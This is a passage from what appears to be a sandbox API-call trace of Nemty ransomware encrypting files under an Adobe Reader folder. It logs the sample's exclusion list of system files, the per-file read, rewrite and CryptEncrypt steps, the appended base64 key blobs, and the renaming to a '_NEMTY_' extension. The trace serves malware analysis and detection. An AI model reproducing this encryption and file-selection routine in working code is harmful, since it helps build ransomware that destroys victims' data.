dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0178.509] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=19456) returned 1 [0178.510] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4c00) returned 0x6352c48 [0178.510] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.510] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x4c00, lpOverlapped=0x0) returned 1 [0178.512] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.512] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x4c00, lpOverlapped=0x0) returned 1 [0178.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0178.513] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=19456, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4c00 [0178.513] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0178.513] CloseHandle (hObject=0x2e8) returned 1 [0178.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0178.513] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.513] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0178.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0178.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0178.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0178.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.513] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\DVA.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\dva.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\DVA.ITA._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\dva.ita._nemty_kgobjgd_")) returned 1 [0178.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0178.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0178.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0178.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0178.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0178.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0178.514] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="eBook.ITA", cAlternateFileName="")) returned 1 [0178.514] lstrcmpiW (lpString1="eBook.ITA", lpString2=".") returned 1 [0178.514] lstrcmpiW (lpString1="eBook.ITA", lpString2="..") returned 1 [0178.514] lstrcmpiW (lpString1="eBook.ITA", lpString2="...") returned 1 [0178.514] lstrcmpiW (lpString1="eBook.ITA", lpString2="windows") returned -1 [0178.514] lstrcmpiW (lpString1="eBook.ITA", lpString2="$RECYCLE.BIN") returned 1 [0178.514] lstrcmpiW (lpString1="eBook.ITA", lpString2="rsa") returned -1 [0178.514] lstrcmpiW (lpString1="eBook.ITA", lpString2="NTDETECT.COM") returned -1 [0178.514] lstrcmpiW (lpString1="eBook.ITA", lpString2="ntldr") returned -1 [0178.514] lstrcmpiW (lpString1="eBook.ITA", lpString2="MSDOS.SYS") returned -1 [0178.514] lstrcmpiW (lpString1="eBook.ITA", lpString2="IO.SYS") returned -1 [0178.514] lstrcmpiW (lpString1="eBook.ITA", lpString2="boot.ini") returned 1 [0178.514] lstrcmpiW (lpString1="eBook.ITA", lpString2="boot.ini") returned 1 [0178.514] lstrcmpiW (lpString1="eBook.ITA", lpString2="AUTOEXEC.BAT") returned 1 [0178.514] lstrcmpiW (lpString1="eBook.ITA", lpString2="ntuser.dat") returned -1 [0178.514] lstrcmpiW (lpString1="eBook.ITA", lpString2="desktop.ini") returned 1 [0178.514] lstrcmpiW (lpString1="eBook.ITA", lpString2="CONFIG.SYS") returned 1 [0178.514] lstrcmpiW (lpString1="eBook.ITA", lpString2="RECYCLER") returned -1 [0178.514] lstrcmpiW (lpString1="eBook.ITA", lpString2="BOOTSECT.BAK") returned 1 [0178.514] lstrcmpiW (lpString1="eBook.ITA", lpString2="bootmgr") returned 1 [0178.514] lstrcmpiW (lpString1="eBook.ITA", lpString2="programdata") returned -1 [0178.514] lstrcmpiW (lpString1="eBook.ITA", lpString2="appdata") returned 1 [0178.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.515] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.ITA", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0178.515] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.ITA", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.ITA", lpUsedDefaultChar=0x0) returned 9 [0178.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.515] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.ITA", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0178.515] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.ITA", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.ITA", lpUsedDefaultChar=0x0) returned 9 [0178.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.515] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.ITA", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0178.515] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.ITA", cchWideChar=9, lpMultiByteStr=0x653e8e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.ITA", lpUsedDefaultChar=0x0) returned 9 [0178.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.515] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.ITA", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0178.515] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.ITA", cchWideChar=9, lpMultiByteStr=0x653e918, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.ITA", lpUsedDefaultChar=0x0) returned 9 [0178.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0178.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0178.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0178.515] Sleep (dwMilliseconds=0x5) [0178.524] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e0e3c30, dwHighDateTime=0x1d561e8)) [0178.524] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e0e3c30, dwHighDateTime=0x1d561e8)) [0178.524] GetLastError () returned 0x0 [0178.524] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0178.524] GetLastError () returned 0x0 [0178.524] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0178.524] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.524] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0178.524] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0178.525] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0178.525] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0178.525] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="7zGIDIhVszfF8OylTkOPLGdIRuIUaRT8Pwg4Di7zh9AL2Qwgd+R7FJ226o6pF8Lw\r\nE98sxIgH1q/fhrw5YWge9H0U0uKCRnkE9lq9sRo002YD5to9+3PUtAurYRQbcnlT\r\n12EzyX8CXS5vkFM8qYi3Ue38Dhqbi5nJrEpp8DTTI6wSINGT19+KpsVyWcn+J/Gh\r\n61VkY9ChwxXXjlcMLMqZiURfa5mf4r9wNLd/vGpJdUTeTeJjp3vU+SNAEW27f18X\r\nii3tXuoe9jFWZBsiK9U6GtdSAM2+Sru5yGtGZgHsZV8+JNwiTK94J5chJdqzB+7K\r\nDop4DQwGcngwsmPv9xXJsQ==\r\n", pcchString=0x653e5dc) returned 1 [0178.525] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0178.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.525] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0178.525] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0178.525] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0178.525] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\eBook.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\ebook.ita"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0178.526] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=6656) returned 1 [0178.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1a00) returned 0x6352c48 [0178.526] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.526] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1a00, lpOverlapped=0x0) returned 1 [0178.528] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.528] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1a00, lpOverlapped=0x0) returned 1 [0178.528] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0178.528] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=6656, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1a00 [0178.528] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0178.528] CloseHandle (hObject=0x2e8) returned 1 [0178.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0178.528] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.528] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0178.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.528] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0178.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0178.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0178.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.529] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\eBook.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\ebook.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\eBook.ITA._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\ebook.ita._nemty_kgobjgd_")) returned 1 [0178.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0178.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0178.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0178.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0178.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0178.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0178.529] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82a99780, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="EScript.ITA", cAlternateFileName="")) returned 1 [0178.529] lstrcmpiW (lpString1="EScript.ITA", lpString2=".") returned 1 [0178.529] lstrcmpiW (lpString1="EScript.ITA", lpString2="..") returned 1 [0178.529] lstrcmpiW (lpString1="EScript.ITA", lpString2="...") returned 1 [0178.529] lstrcmpiW (lpString1="EScript.ITA", lpString2="windows") returned -1 [0178.529] lstrcmpiW (lpString1="EScript.ITA", lpString2="$RECYCLE.BIN") returned 1 [0178.529] lstrcmpiW (lpString1="EScript.ITA", lpString2="rsa") returned -1 [0178.529] lstrcmpiW (lpString1="EScript.ITA", lpString2="NTDETECT.COM") returned -1 [0178.529] lstrcmpiW (lpString1="EScript.ITA", lpString2="ntldr") returned -1 [0178.530] lstrcmpiW (lpString1="EScript.ITA", lpString2="MSDOS.SYS") returned -1 [0178.530] lstrcmpiW (lpString1="EScript.ITA", lpString2="IO.SYS") returned -1 [0178.530] lstrcmpiW (lpString1="EScript.ITA", lpString2="boot.ini") returned 1 [0178.530] lstrcmpiW (lpString1="EScript.ITA", lpString2="boot.ini") returned 1 [0178.530] lstrcmpiW (lpString1="EScript.ITA", lpString2="AUTOEXEC.BAT") returned 1 [0178.530] lstrcmpiW (lpString1="EScript.ITA", lpString2="ntuser.dat") returned -1 [0178.530] lstrcmpiW (lpString1="EScript.ITA", lpString2="desktop.ini") returned 1 [0178.530] lstrcmpiW (lpString1="EScript.ITA", lpString2="CONFIG.SYS") returned 1 [0178.530] lstrcmpiW (lpString1="EScript.ITA", lpString2="RECYCLER") returned -1 [0178.530] lstrcmpiW (lpString1="EScript.ITA", lpString2="BOOTSECT.BAK") returned 1 [0178.530] lstrcmpiW (lpString1="EScript.ITA", lpString2="bootmgr") returned 1 [0178.530] lstrcmpiW (lpString1="EScript.ITA", lpString2="programdata") returned -1 [0178.530] lstrcmpiW (lpString1="EScript.ITA", lpString2="appdata") returned 1 [0178.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.530] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.ITA", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0178.530] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.ITA", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.ITA", lpUsedDefaultChar=0x0) returned 11 [0178.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.530] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.ITA", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0178.530] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.ITA", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.ITA", lpUsedDefaultChar=0x0) returned 11 [0178.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.530] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.ITA", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0178.530] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.ITA", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.ITA", lpUsedDefaultChar=0x0) returned 11 [0178.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.530] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.ITA", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0178.530] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.ITA", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.ITA", lpUsedDefaultChar=0x0) returned 11 [0178.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0178.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0178.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0178.530] Sleep (dwMilliseconds=0x5) [0178.540] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e109d90, dwHighDateTime=0x1d561e8)) [0178.540] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e109d90, dwHighDateTime=0x1d561e8)) [0178.540] GetLastError () returned 0x0 [0178.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0178.540] GetLastError () returned 0x0 [0178.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0178.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.540] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0178.540] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0178.540] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0178.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0178.540] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="IB+HZR3JWnkgRY9ZLhJSvD/yeH+om9myHwF5J7ywqTkdPwg+IdwtKrYtNyPrpkku\r\nxTNJVCordVns4amjXD/2RWZrTIovmABz3VpEM8H1iCrGHcUFqpc4ExGdFX3coErd\r\nkdlTwWeTjJAOZMRgfR7D69xsTwWFzDec+Ju7N+4kX5g+ztX3+edhez+AQ6/waVXj\r\nV4Asubpo23gJvh9A7bMCTBm12cvkU0FhVLbnb3zPIWv/9P/dH7Wka95xtMd+9Xv0\r\nT16RFSedLVrOPsSGZ/6+EKwHZNRLBbE0OMWxMhfuwizyY2uXk44br+ZZ1P97xCDe\r\nOi8Q/OX0bQDnugAVzGhkJQ==\r\n", pcchString=0x653e5dc) returned 1 [0178.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0178.540] HeapFree (in: hHeap=0x4f90000, 